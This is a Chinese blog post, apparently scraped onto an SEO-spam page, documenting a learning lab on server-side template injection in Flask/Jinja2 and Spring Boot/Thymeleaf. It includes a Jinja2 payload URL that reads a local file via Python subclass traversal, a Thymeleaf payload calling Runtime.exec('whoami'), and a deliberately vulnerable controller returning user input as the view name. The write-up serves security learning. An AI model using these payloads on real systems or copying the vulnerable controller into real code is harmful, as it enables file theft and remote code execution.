当前位置: 首页 > news >正文

登封网站建设bt磁力种子

登封网站建设,bt磁力种子,网站开发的相关网站,用fw做明星的网站文章目录 一、什么是SSTI?二、python 中的 Jinja2 漏洞验证三、Java 的 Thymeleaf 模版漏洞验证四、小结 一、什么是SSTI? SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的W…

文章目录

  • 一、什么是SSTI?
  • 二、python 中的 Jinja2 漏洞验证
  • 三、Java 的 Thymeleaf 模版漏洞验证
  • 四、小结

一、什么是SSTI?

SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的Web应用程序中。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而,如果在构建模板时未正确处理用户输入,就可能导致SSTI漏洞的产生。

常用语言产生SSTI漏洞有哪些呢?
在这里插入图片描述

二、python 中的 Jinja2 漏洞验证

环境搭建:


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2024/3/10 21:00
# @Author  :  liWen
# @File    : sstiTest.py
# @Software: PyCharm
# @Desc    :  SSTI 模板注入学习from flask import Flask
app = Flask(__name__)@app.route('/')
@app.route('/index')
def index():return "ssti  模版漏洞学习"if __name__ == "__main__":app.run()

访问页面显示:
在这里插入图片描述

简单环境搭建成功后,开始编写 SSTI 漏洞代码,参考如下:
在这里插入图片描述

访问不存在页面就会提示下面信息 :
在这里插入图片描述

当输入错误页面并且携带参数404时页面显示:
在这里插入图片描述
验证是否有漏洞:
在这里插入图片描述
输入{{2/2}}=1.0 表示已经开始计算。

再次输入:"".__class__.__bases__[0].__subclasses__()

提示:
在这里插入图片描述

很多文章都说到,Python 在导入os模块时会和 warning.catch_warnings 相关,所以我就在终端遍历上面数据获取的数据参考如下:


>>> ss = "".__class__.__bases__[0].__subclasses__()
>>> for index, element in enumerate(ss):
...      print(f'Index: {index}, Element: {element}')
...
Index: 0, Element: <class 'type'>
Index: 1, Element: <class 'weakref'>
.....
......
......Index: 140, Element: <class 'types._GeneratorWrapper'>
Index: 141, Element: <class 'warnings.WarningMessage'>
Index: 142, Element: <class 'warnings.catch_warnings'>
Index: 143, Element: <class 'importlib.abc.Finder'>
Index: 144, Element: <class 'importlib.abc.Loader'>
Index: 145, Element: <class 'importlib.abc.ResourceReader'>
Index: 146, Element: <class 'operator.itemgetter'>

之后在 Pycharm 中输入:
在这里插入图片描述

在 bachbar 插件中执行:

http://127.0.0.1:5000/7dgroup?404={{"".__class__.__bases__[0].__subclasses__()[142].__init__.__globals__[%27__builtins__%27][%27open%27](%27/Users/liwen/PycharmProjects/suanfa/ssit/templates/ss.txt%27).read()}}

结果显示:
在这里插入图片描述
能读取文件信息,那么就能执行命令,在验证过程中,执行“ls”等一系列命令后,都没有出现安全漏洞估计是版本问题。

网上公布相关安全漏洞后,先验证是不是该版本导致漏洞,如果是能否先通过升级版本解决该漏洞,如果不能,再想一想怎么把风险降到最低,减少资产损失。

三、Java 的 Thymeleaf 模版漏洞验证

官方网站 https://www.thymeleaf.org/

Thymeleaf 是一款用于渲染 HTML/XML/TEXT/JAVASCRIPT/CSS/RAW 内容的模板引擎。它与 JSP,Velocity,FreeMaker 等模板引擎类似,也可以轻易地与 Spring MVC 等 Web 框架集成。与其它模板引擎相比,Thymeleaf 最大的特点是,即使不启动 Web 应用,也可以直接在浏览器中打开并正确显示模板页面,Thymeleaf 支持 HTML 原型,其文件后缀为“.html”,因此它可以直接被浏览器打开,此时浏览器会忽略未定义的 Thymeleaf 标签属性,展示 thymeleaf 模板的静态页面效果;当通过 Web 应用程序访问时,Thymeleaf 会动态地替换掉静态内容,使页面动态显示。

环境搭建springbot + Thymeleaf 实现,新建项目,选择 Thymeleaf 模版解析器
在这里插入图片描述

点击创建即可,IDEA 就能显示项目:
在这里插入图片描述

添加 index 模版:


<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head><meta charset="UTF-8"><title>学习 ssti 注入 </title>
</head>
<body>
<h1>学习 ssti 注入</h1>
<span th:text="${data}">欢迎您访问静态页面 HTML</span>
</body>
</html>

添加后端代码:

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;/*** @description: 首页ssti模版漏洞解析学习* @author: 李文* @create: 2024-03-10 19:48**/
@Controller
public class IndexController {/*** 模版解析** @param model* @param data* @return*/@RequestMapping(value = "/thymeleaf/index")public String index(Model model, @RequestParam String data) {model.addAttribute("data", data);return "index";}
}

默认springboot 中的 thymeleaf 开启缓存不利于调试,这里先关闭:

#thymeleaf 页面的缓存开关,默认 true 开启缓存
#建议在开发阶段关闭 thymeleaf 页面缓存,目的实时看到页面
spring.thymeleaf.cache=false
#前缀:thymeleaf 模版前缀,默认可以不写
spring.thymeleaf.prefix=classpath:/templates/
# 后缀:thymeleaf 模版后缀,默认可以不写
spring.thymeleaf.suffix=.html

启动项目后在浏览器访问8080端口,验证项目是否启动成功?
在这里插入图片描述

再次请求之前定义好的模版请求:

http://localhost:8080/thymeleaf/index?data=7dgrouup

浏览器显示:
在这里插入图片描述

再次修改代码:

/*** 验证ssti是否有漏洞** @param data* @return*/@GetMapping(value = "/thymeleaf/ssti")public String indexSsti(@RequestParam String data) {return "page/" + data;}

再次执行命令:

http://localhost:8080/thymeleaf/ssti?data=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x

结果显示:
在这里插入图片描述

后台代码显示:
在这里插入图片描述

发现漏洞并没有显示出来,网上有很多资料这样执行是会出现当前用户信息,估计是sprintboot+thymeleaf 在特定版本会出现漏洞,目前使用的我版本是:

<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>3.2.3</version><relativePath/> <!-- lookup parent from repository --></parent>
------------<dependency><groupId>org.thymeleaf</groupId><artifactId>thymeleaf-spring6</artifactId><version>3.1.2.RELEASE</version><scope>compile</scope></dependency>-----------

JDK版本为:

<java.version>17</java.version>

四、小结

上面是验证的过程,虽然漏洞没有验证出来,但是对自己学习安全测试,并且验证是否存在安全漏洞有初步的尝试经验 。

http://www.tj-hxxt.cn/news/18010.html

相关文章:

  • 沈阳网站建设策划方案自媒体营销
  • 做电脑壁纸的网站seo推广宣传
  • 建设网站项目的目的百度爱采购服务商查询
  • 做网站后端语言用什么管理方面的培训课程
  • 京东网站建设吗济南百度竞价
  • 烟台电子商务网站营销团队外包
  • yellow高清免费观看在线郑州网站关键词优化公司哪家好
  • 怎么识别网站开发语言网站排名掉了怎么恢复
  • html网页导航栏模板360优化大师历史版本
  • 合肥做网站域名的公司企业管理培训
  • 产品信息发布网站百度公司官网招聘
  • 成都专业建设网站武汉seo引擎优化
  • 自己做网站排名好吗关键词优化靠谱推荐
  • 中关村网站建设公司站长之家ping
  • wordpress 美化无锡seo优化
  • 网站建设实训内容百度投放广告怎么收费
  • 做汽车网站销售怎么入手seo系统培训班
  • 长沙自助模板建站在线咨询 1 网站宣传
  • 简单网站制作实例河北seo推广公司
  • 有那种网站的浏览器发布外链
  • 黑客网站盗qq宁夏百度公司
  • 法院网站管理系统源码国内新闻大事20条简短
  • 做网站智能工具天津百度推广代理商
  • 医院做网站的意义怎么找当地的地推团队
  • 威宁网站建设企业查询官网
  • 用easyui做的网站信息流广告投放渠道
  • 工业设计就业广东培训seo
  • 世界十大网站开发公司北京网站优化服务
  • wordpress关注插件西安seo优化工作室
  • 怎么做dnf辅助网站百度推广官网登录